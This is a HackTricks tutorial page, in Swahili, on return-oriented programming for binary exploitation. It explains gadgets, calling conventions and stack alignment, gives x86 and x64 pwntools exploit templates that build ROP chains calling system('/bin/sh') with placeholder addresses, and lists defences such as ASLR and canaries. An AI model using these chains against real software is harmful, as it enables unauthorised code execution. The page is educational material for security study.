hacktricks/binary-exploitation/rop-return-oriented-programing

ROP - Programu ya Kurudi kwa Mwelekeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
• Pata bidhaa rasmi za PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Taarifa Msingi

Programu ya Kurudi kwa Mwelekeo (ROP) ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama No-Execute (NX) au Data Execution Prevention (DEP). Badala ya kuingiza na kutekeleza shellcode, muhusika hutumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa "gadgets". Kila gadget kawaida hukamilika na maagizo ya ret na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kuzunguka ulinzi wa NX/DEP.

Jinsi ROP Inavyofanya Kazi

1. Udukuzi wa Mwelekeo wa Kudhibiti: Kwanza, muhusika anahitaji kudhibiti mwelekeo wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
2. Unganishaji wa Gadgets: Mhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., system("/bin/sh")), na kushughulikia usafi wowote unaohitajika au operesheni zaidi.
3. Utekelezaji wa Mzigo wa Data: Wakati kazi inayoweza kudhurika inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.

Zana

Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia ROPgadget, ropper au moja kwa moja kutoka pwntools (ROP).

Mnyororo wa ROP kwenye Mfano wa x86

Mbinu za Kuita x86 (biti 32)

• cdecl: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi (kulia-kushoto). Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.
• stdcall: Kama cdecl, lakini mpokeaji anahusika na kusafisha rundo.

Kupata Gadgets

Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya faili ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:

• pop eax; ret: Gadget hii inapiga anwani ya juu ya rundo kwenye rejista ya EAX na kisha kurudi, ikiruhusu kudhibiti EAX.
• pop ebx; ret: Kama hapo juu, lakini kwa rejista ya EBX, ikiruhusu kudhibiti EBX.
• mov [ebx], eax; ret: Inahamisha thamani katika EAX kwenye eneo la kumbukumbu linaloelekezwa na EBX kisha kurudi. Mara nyingi huitwa gadget ya kuandika-nini-wapi.
• Kwa kuongezea, tuna anwani ya kazi ya system() inayopatikana.

Mnyororo wa ROP

Kwa kutumia pwntools, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo lengo likiwa kutekeleza system('/bin/sh'), angalia jinsi mnyororo unavyoanza na:

1. Maagizo ya ret kwa madhumuni ya upangaji (hiari)
2. Anwani ya kazi ya system (tukidhani ASLR imelemazwa na libc inayojulikana, habari zaidi katika Ret2lib)
3. Nafasi ya anwani ya kurudi kutoka kwa system()
4. Anwani ya mfuatano wa "/bin/sh" (parameta kwa kazi ya system)

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Mnyororo wa ROP katika Mfano wa x64

Mifumo ya Kuita x64 (64-bit)

• Hutumia System V AMD64 ABI kwenye mifumo inayofanana na Unix, ambapo vigezo vya kwanza sita vya nambari au pointa hupitishwa kwenye rejista RDI, RSI, RDX, RCX, R8, na R9. Vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye RAX.
• Mfumo wa kuita wa Windows x64 hutumia RCX, RDX, R8, na R9 kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye RAX.
• Rejista: Rejista za 64-bit ni pamoja na RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, na R8 hadi R15.

Kupata Vifaa vya Gadgets

Kwa madhumuni yetu, tuzingatie vifaa ambavyo vitatuwezesha kuweka rejista ya RDI (ili kupitisha herufi "/bin/sh" kama hoja kwa system()) na kisha kuita kazi ya system(). Tutadhani tumetambua vifaa vifuatavyo:

• pop rdi; ret: Hupokea thamani ya juu ya steki kwenye RDI na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa system().
• ret: Kurudi kwa kawaida, inayofaa kwa upangilio wa steki katika hali fulani.

Na tunajua anwani ya kazi ya system().

Mnyororo wa ROP

Hapa chini ni mfano ukitumia pwntools kuweka na kutekeleza mnyororo wa ROP ukiwa na lengo la kutekeleza system('/bin/sh') kwenye x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Katika mfano huu:

• Tunatumia kifaa cha pop rdi; ret kuweka RDI kwa anwani ya "/bin/sh".
• Tunaruka moja kwa moja kwa system() baada ya kuweka RDI, na anwani ya system() katika mnyororo.
• ret_gadget hutumiwa kwa upangilio ikiwa mazingira ya lengo yanahitaji, ambayo ni ya kawaida zaidi katika x64 kuhakikisha upangilio sahihi wa stak kabla ya kuita kazi.

Upangilio wa Stak

ABI ya x86-64 inahakikisha kuwa stak ina upangilio wa byte 16 wakati maagizo ya wito yanatekelezwa. LIBC, kwa kuboresha utendaji, inatumia maagizo ya SSE (kama movaps) ambayo yanahitaji upangilio huu. Ikiwa stak haijapangiliwa vizuri (maana yake RSP sio maradufu ya 16), wito kwa kazi kama system utashindwa katika mnyororo wa ROP. Ili kusahihisha hili, tuongeze tu ret gadget kabla ya kuita system katika mnyororo wako wa ROP.

Tofauti Kuu kati ya x86 na x64

{% hint style="success" %} Kwa kuwa x64 inatumia rejista kwa hoja za kwanza chache, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito wa kazi za kawaida, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa x64 hutoa fursa na changamoto kwa maendeleo ya kutumia, hasa katika muktadha wa Return-Oriented Programming (ROP). {% endhint %}

Mnyororo wa ROP katika Mfano wa ARM64

Msingi wa ARM64 & Mikataba ya Wito

Angalia ukurasa ufuatao kwa habari hii:

{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

Kinga Dhidi ya ROP

• ASLR & PIE: Kinga hizi hufanya iwe ngumu kutumia ROP kwani anwani za vifaa hubadilika kati ya utekelezaji.
• Stack Canaries: Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak canary ili kubadilisha pointa za kurudi ili kutumia mnyororo wa ROP
• Uhaba wa Vifaa: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.

Mbinu za msingi za ROP

Tambua kuwa ROP ni mbinu tu ya kutekeleza kanuni za aina yoyote. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:

• Ret2lib: Tumia ROP kuita kazi za aina yoyote kutoka kwa maktaba iliyopakiwa na vigezo vya aina yoyote (kawaida kitu kama system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

• Ret2Syscall: Tumia ROP kuandaa wito kwa syscall, k.m. execve, na kufanya iitumie amri za aina yoyote.

{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}

• EBP2Ret & EBP Chaining: La kwanza litatumia EBP badala ya EIP kudhibiti mtiririko na la pili ni kama Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Mifano na Marejeo Mengine

• https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
• https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
• Biti 64, Pie na nx imewezeshwa, hakuna canary, zaidi ya RIP na anwani ya vsyscall kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa kuzidi sehemu ya kazi ambayo inavuja bendera
• https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
• arm64, hakuna ASLR, kifaa cha ROP kufanya stak iweze kutekelezeka na kuruka kwa shellcode kwenye stak